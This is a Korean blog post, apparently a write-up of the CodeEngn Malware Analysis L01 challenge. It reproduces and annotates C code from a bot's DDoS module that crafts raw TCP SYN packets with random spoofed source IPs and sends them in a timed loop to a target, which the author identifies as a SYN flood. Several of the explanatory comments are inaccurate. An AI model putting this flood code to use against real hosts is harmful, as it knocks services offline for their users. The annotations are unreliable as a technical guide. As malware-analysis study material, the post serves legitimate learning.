ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • CodeEngn Malware Analysis L01
    $ 리버싱 $/CodeEngn Malware Analysis 2019. 5. 28. 14:53

     

    파일을 열어 보면 다음과 같이 코드가 적혀있습니다.

     

    위의 사진의 코드 뿐만아니라 아래에 더 있습니다.

     

    그래서 위의 코드를 분석하고 어떤 기법 인지 알아 내는 문제 같습니다.

     

    ↓ 소스 코드에 주석을 달아서 풀이

     

    // 네트워크 공격에는 스니핑(도청), 스푸핑(엿보기), 세션 하이재킹

    // DOS(Denial Of Service) => SYN Flooding, UDP Flooding

    // Land , Ping of Death, Smurf, Tear Drop, Tiny Fragment,

    // Fragment Overlap 공격이 있다.

    addr_in.sin_family=AF_INET;                          // sin_family 값으로 인터넷 주소 체계(AF_INET) 넣는다.

    addr_in.sin_port=htons(TargetPort);

    /*

            htons()함수는 Host 시스템에서 Network로 short 형 데이터를 보낼때 바이트 오더를 바꿔주는 함수

            htons()는 Host to network short 에서 비롯 됬다.

            우리가 사용하는 intel 이나 AMD의 CPU는 리틀엔디안으로 표시가 되어있지만

            네트워크를 사용할때 데이터 전송방식은 리틀엔디안이 아니라 빅엔디안으로 되어 있어야 하기에

            리틀엔디안 -> 빅엔디안으로 바꿔줘야 합니다.

            htons()는 엔디안 방식을 바꿔주는 역할도 합니다

            ex) 1234 <- 빅엔디안          4321 <- 리틀엔디안

            출처 : https://fattarzan.tistory.com/entry/htonl-htons-ntohl-ntohs?category=10629

    */

    addr_in.sin_addr.s_addr=TargetIP;

    //↑ IPv4로 ip설정 후 공격 포트를 설정한다.                         

    // 출처 : https://proneer.tistory.com/entry/%EC%86%8C%EC%BC%93-%EC%A3%BC%EC%86%8C-%EA%B5%AC%EC%A1%B0%EC%B2%B4sockaddr

    ipHeader.h_verlen=(4<<4|sizeof(ipHeader)/sizeof(unsigned long));

    ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));

    ipHeader.ident=1;

    ipHeader.frag_and_flags=0;

    ipHeader.ttl=128;                     // time to live 값을 128 -> 윈도우즈 환경 -> 홉수 측정할때 ttl 사용

    ipHeader.proto=IPPROTO_TCP;

    ipHeader.checksum=0;

    ipHeader.destIP=TargetIP;

    //↑ ipHeader에 들어있는 값들을 변경

    /*

            typedef IPHEADER

            {

                   int h_verlen;

                   int total_len;

                   int ident;

                   int proto;

            }ipHeader;

    */

    tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);

    tcpHeader.th_flag=2;

    tcpHeader.th_win=htons(16384);

    tcpHeader.th_urp=0;

    tcpHeader.th_ack=0;

    //↑ tcpHeader에 들어있는 값들을 변경

    /*

            typedef TCPHEADER

            {

                   int th_lenres;

                   int th_win;

            }tcpHeader;

    */

    lTimerCount=GetTickCount();                  //ITimerCount에 GetTickCount()함수를 넣기

    //GetTickCount()함수는 윈도우(운영체제)가 시작되어서 지금까지 흐른 시간을 1/1000초 단위로 DWORD형을 리턴하는 함수

    //ex) 윈도우가 실행 된후 1분이 지났다면 60,000을 리턴한다. (부팅 시간은 제외한다.)

    // 출처 : https://skmagic.tistory.com/302

    //                     공격을 하기위한 준비 과정

    //!===============================================

    //                     공격을 하기위한 공격 코드

    while(g_cMainCtrl.m_cDDOS.m_bDDOSing) // 무슨 값인지는 모르겠다.

                                                                        // DDOS 분산 서비스 공격

                                                                        // 패킷을 무수히 많이 전송하여 서버 마비를 일으킬것 같다.

    {

    i++;

    tcpHeader.th_sum=0;                          // tcp헤더의 체크썸을 0으로 초기화 한다.

    tcpHeader.th_dport=htons(TargetPort); // 공격할 포트 넣기

    psdHeader.daddr=ipHeader.destIP;

    psdHeader.mbz=0;

    psdHeader.ptcl=IPPROTO_TCP;

    psdHeader.tcpl=htons(sizeof(tcpHeader));

    ipHeader.sourceIP=htonl(lSpoofIP);           //Spoof 하는 ip가 htonl()을 통한다.

    tcpHeader.th_sport=htons((rand()%1001)+1000);        

    tcpHeader.th_seq=htons((rand()<<16)|rand());

    psdHeader.saddr=ipHeader.sourceIP;           // 출발지 ip 주소 입력.

    memcpy(szSendBuf, &psdHeader, sizeof(psdHeader));    

    memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));

    // 위의 81~83줄을 보면 변수 명이 szSendbuf라고 적혀 있는 것을 보니

    // 버퍼를 전송하는 역할을 하는 것 같습니다.

    // psdHeader의 크기 만큼 복사를 한다.

    tcpHeader.th_sum = checksum((unsigned short *)szSendBuf, sizeof(psdHeader) + sizeof(tcpHeader));

    // 체크섬인 tcpHeader.th_sum을 확인 합니다.

    memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));

    memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));

    memset(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader), 0, 4);

    // 83~85의 주석과 같이 버퍼를 전송하는 역할을 하며,

    // 이번에는 ipHeader의 크기 만큼 복사 합니다.

    ipHeader.checksum=checksum((unsigned short *)szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader));

    // 체크섬인 ipHeader.checksum을 확인 합니다.

    memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));

    rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader),0,(struct sockaddr*)&addr_in, sizeof(addr_in));

    // sendto()함수는 UDP/IP 통신에서 소켓으로 데이터를 전송합니다.

    // 출처 : http://forum.falinux.com/zbxe/index.php?document_srl=441113&mid=C_LIB

    // sendto의 반환값은 0이상 또는 -1 인데 0이상일 경우 정상 데이터 수신, -1일 경우 오류 발생

    /*

    rect = sendto(sock  , szSendBuf         , sizeof(ipHeader)+sizeof(tcpHeader),0          ,(struct sockaddr*)&addr_in   , sizeof(addr_in));

    rect = sendto(int s , const void *msg   , size_t len                        ,int flags  , const struct sockaddr *to   , socklen_t tolen);

    */

    if(rect==SOCKET_ERROR) return false;

    if((GetTickCount()-lTimerCount)/1000>len) break;

    // GetTickCount()함수를 사용하여 이 코드가 실행된 만큼에서 1000을 나누었을때

    // 주어진 len보다 크게 되면 작업이 중단(break) 하게 됩니다.

    if(bRandPort) { TargetPort=brandom(1000, 10000); }

    // 희생자 pc의 포트를 1000~10000사이에 아무거나 선택하게 된다.

    // 희생자의 포트를 1000~10000사이의 아무거나 고르는 이기 때문에

    // 잘 알려지지 않은 포트를 이용한 취약점 이라고 볼수도 있다.

    szSpoofIP[0]=(char)brandom(0, 255);

    szSpoofIP[1]=(char)brandom(0, 255);

    szSpoofIP[2]=(char)brandom(0, 255);

    szSpoofIP[3]=(char)brandom(0, 255);

    //szSoofIP 변수를 사용한 것을 보니 실제의 IP를 담는 것 같다.

    Sleep(delay);

    // 잠시 멈추는 역할을 하는 코드

    }

    xClose(sock);

    // 소켓 닫기

     

    /*

    위 같은 행동을 무한 반복 할 것 같다는 생각이 드는데 그렇다는 것은

    g_cMainCtrl.m_cDDOS.m_bDDOSing 의 값이 1이라고 유추 해볼 수 있다.

    상대방의 포트를 이용해서 패킷을 보내는데 한두번도 아니고 계속 보내고(필자는 while의 인자값 DDOS에서 판단)

    , 보낸 패킷을 수신자가 전부 받지 못할 것이기 때문에 네트워크 관련 공격기법인 SYN Flooding 기법이다.

    SYN Flooding 기법은 tcp 연결을 하기 위해서 서버에서 SYN 패킷을 보내면 패킷을 받은 서버는 그에대한

    응답으로 SYN+ACK 패킷으로 응답을 하게 됩니다. 그렇다면 자연스럽게 서버는 SYN_RECV 상태가 되는데 그 상태는

    클라이언트에게 SYN+ACK 패킷에 대한 응답이 오기 전까지 계속 유지 되는데...

    일정 시간동안 상태를 유지하기 위해서 대기 상태를 Sleep(delay)을 사용한 것 같습니다.

    하지만 클라이언트 에서는 응답이 아닌 다시 SYN 패킷을 보내는 것을 반복하면 서버는 세션이 너무 많이 생기고

    이를 계속 해서 받아들이다가 서버의 자원을 다 소모해 버리고 다른 사용자들이 TCP 통신을 하지 못하도록 막는다.

    이른 SYN Flooding 이라고 합니다.

    */

     

    댓글

Designed by Tistory.